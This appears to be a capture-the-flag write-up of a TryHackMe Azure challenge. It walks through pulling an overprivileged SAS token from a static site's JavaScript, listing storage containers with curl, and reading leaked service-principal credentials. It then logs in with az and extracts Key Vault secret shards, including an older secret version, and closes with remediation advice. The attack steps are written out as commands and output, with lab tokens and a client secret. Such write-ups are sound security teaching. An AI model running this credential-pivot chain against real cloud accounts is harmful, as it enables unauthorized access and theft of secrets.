CTF Write-up Cloud Security Azure Key Vault SAS Token Abuse

Crypto Cabana — TryHackMe Hacker Holidays Day 9

Abishek Kumar 2026 10 min read Medium · 90 pts

How a single overprivileged SAS token in a static website's JavaScript led to a full Key Vault compromise — and a flag hiding in secret version history.


Challenge Overview

The story: someone backed up their crypto seed phrase into a beach bar kiosk called CryptoCabana, and by morning their wallet was drained. We need to figure out what the kiosk was quietly trusting on the backend — and how far that trust actually extended.

🎯 Details & Objectives

  • Target: https://cryptocabanaf5scjagc.z13.web.core.windows.net/
  • Objective: Find what the kiosk trusts, pivot to hidden storage, locate a Key Vault, and extract the flag from secret version history — not the current (rotated) value.

Step 1 — Pull Apart What the Kiosk Gives Away for Free

The target is a static Azure Static Web App with a simple seed phrase backup form. Before clicking anything, check what JavaScript it loads:

curl -s https://cryptocabanaf5scjagc.z13.web.core.windows.net/ \
  | grep -oE '<script[^>]*src="[^"]*"'

# Output:
# <script src="app.js"

Pull down app.js:

curl -s https://cryptocabanaf5scjagc.z13.web.core.windows.net/app.js

And immediately something interesting falls out:

const STORAGE_ACCOUNT = "cryptocabanaf5scjagc";
const BACKUPS_CONTAINER = "backups";
const BACKUP_SAS = "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D";

function backupPhrase() {
  const phrase = document.getElementById("phrase").value.trim();
  const blobName = "backup-" + Date.now() + ".txt";
  const url = "https://" + STORAGE_ACCOUNT + ".blob.core.windows.net/" +
    BACKUPS_CONTAINER + "/" + blobName + "?" + BACKUP_SAS;
  fetch(url, {
    method: "PUT",
    headers: { "x-ms-blob-type": "BlockBlob" },
    body: phrase,
  });
}

⚠️ The Vulnerability

The SAS token has sp=rl (read + list) and srt=sco (service + container + object scope). This lets anyone enumerate every container in the entire storage account — not just write a single blob to backups like the page intends.


Step 2 — Follow That Trust Somewhere the Page Never Points

Since the SAS is service-scoped with list permissions, enumerate all containers — not just backups:

curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/?comp=list\
&sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z\
&st=2024-01-01T00:00:00Z&spr=https\
&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"

The XML response reveals three containers:

Container Description
$web The static website itself
backups What the page uses (empty)
vault Never linked from the page ← pivot here

List the vault container:

curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault?restype=container&comp=list\
&sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z\
&st=2024-01-01T00:00:00Z&spr=https\
&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"

Two blobs inside:

  • backup-service-account.json
  • seed_phrase.txt

Read them both:

# The service account credentials
curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault/backup-service-account.json?sv=2022-11-02..."

# Output:
{
  "client_id": "dbcf2923-e4eb-4b72-a0a4-688aa1185cf5",
  "client_secret": "UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg",
  "key_vault_name": "ccabana-kv-f5scjagc",
  "key_vault_uri": "https://ccabana-kv-f5scjagc.vault.azure.net/",
  "note": "Rotate this if it ever leaves the vault. -- IT",
  "tenant_id": "8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c"
}

# The seed phrase (decoy)
curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault/seed_phrase.txt?sv=2022-11-02..."
# velvet cabana rebuild scatter obvious wallet drift lagoon punchline receipt orbit shrimp

💡 Note on Leaked Creds

"Rotate this if it ever leaves the vault." — it was sitting in the vault, readable to anyone with the public SAS token. The seed phrase is a decoy. The real flag is in the Key Vault.


Step 3 — Authenticate as the Service Principal

In the Azure Cloud Shell, switch to the leaked service principal:

az login --service-principal \
  --username dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 \
  --password "UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg" \
  --tenant 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c

List all secrets in the Key Vault:

az keyvault secret list --vault-name ccabana-kv-f5scjagc -o table
Name         Enabled    Expires
-----------  ---------  -------------------------
key-shard-1  True
key-shard-2  True
key-shard-3  True
master-key   True       2020-01-01T00:00:00+00:00

🔍 Observation

master-key expired in 2020 — four years before the vault was created in July 2026. Classic planted red herring. The three shards are the real targets.


Step 4 — The Flag is in Version History, Not the Current Value

Using @0xMia's hint: "if a value looks freshly rotated, ask yourself what it looked like five minutes before that 👀"

Check version history on each shard:

az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name key-shard-1 -o table
# 1 version

az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name key-shard-2 -o table
# 2 versions  ← this one has history

az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name key-shard-3 -o table
# 1 version

Only key-shard-2 has two versions. Get the full version IDs with timestamps:

az keyvault secret list-versions \
  --vault-name ccabana-kv-f5scjagc \
  --name key-shard-2 \
  --query "[].{Version:id, Created:attributes.created}" -o json
[
  {
    "Created": "2026-07-28T01:05:05+00:00",
    "Version": "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0"
  },
  {
    "Created": "2026-07-28T01:05:07+00:00",
    "Version": "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/c922c422ffb34671a902389c372314f1"
  }
]

Read the older version (01:05:05) — created before the "rotation":

az keyvault secret show \
  --vault-name ccabana-kv-f5scjagc \
  --name key-shard-2 \
  --version 3d6492d2c6f74123bc754a9ded22b2a0 \
  --query value -o tsv

# Output:
# _k3ys_n0t_

Collect the other two shards:

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-1 --query value -o tsv
# THM{n0t_ur

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-3 --query value -o tsv
# ur_c01ns!}

Assemble shard-1 + shard-2 (old version) + shard-3:

🎉 FLAG CAPTURED!

THM{n0t_ur_k3ys_n0t_ur_c01ns!}


Full Attack Chain

[Static Website app.js]
        │
        │  Overprivileged SAS token (srt=sco, sp=rl)
        ▼
[Storage Account — service-level enumeration]
        │
        │  Hidden container: vault/
        ▼
[backup-service-account.json]
        │
        │  client_id + client_secret + Key Vault URI
        ▼
[Azure Key Vault — ccabana-kv-f5scjagc]
        │
        │  key-shard-2 has 2 versions — older version holds the flag fragment
        ▼
[Flag: THM{n0t_ur_k3ys_n0t_ur_c01ns!}]
Step What Happened Why It Worked
1 SAS token leaked in app.js Frontend JS is always public — no secrets in client-side code
2 Enumerated all containers with one token srt=sco + sp=rl scope was far too broad
3 Found vault container with SP credentials Credentials stored where the same token could read them
4 Authenticated as service principal No MFA or IP restriction enforced on the Service Principal
5 Flag in old secret version Key Vault keeps version history — "rotating" doesn't delete the old value

Key Takeaways / Remediation

SAS Token Scope Minimisation

SAS tokens must be scoped to the minimum required permission. The page only needed to write. The correct scope is object-level write (srt=o, sp=w) instead of service-level list (srt=sco, sp=rl).

Credential Isolation

Never store credentials in storage accessible by the same token. The whole attack pivoted on the service principal credentials being readable via the shared SAS token.

Secrets Version History

Azure Key Vault retains version history by default. Rotating a secret does not revoke access to older versions unless they are explicitly deleted or SP permissions are restricted.

Static Client Limitations

Static website frontend source code is entirely public. Sensitive logic or third-party API keys should be proxied through a backend API endpoint.

💭 Final Thoughts

"Not your keys, not your coins" — a classic crypto maxim that applies perfectly to cloud security. Had the kiosk used a write-only, object-scoped SAS token, none of the subsequent Key Vault pivot steps would have been possible.

AK
Abishek Kumar

Abishek Kumar

Cybersecurity Researcher | Web Developer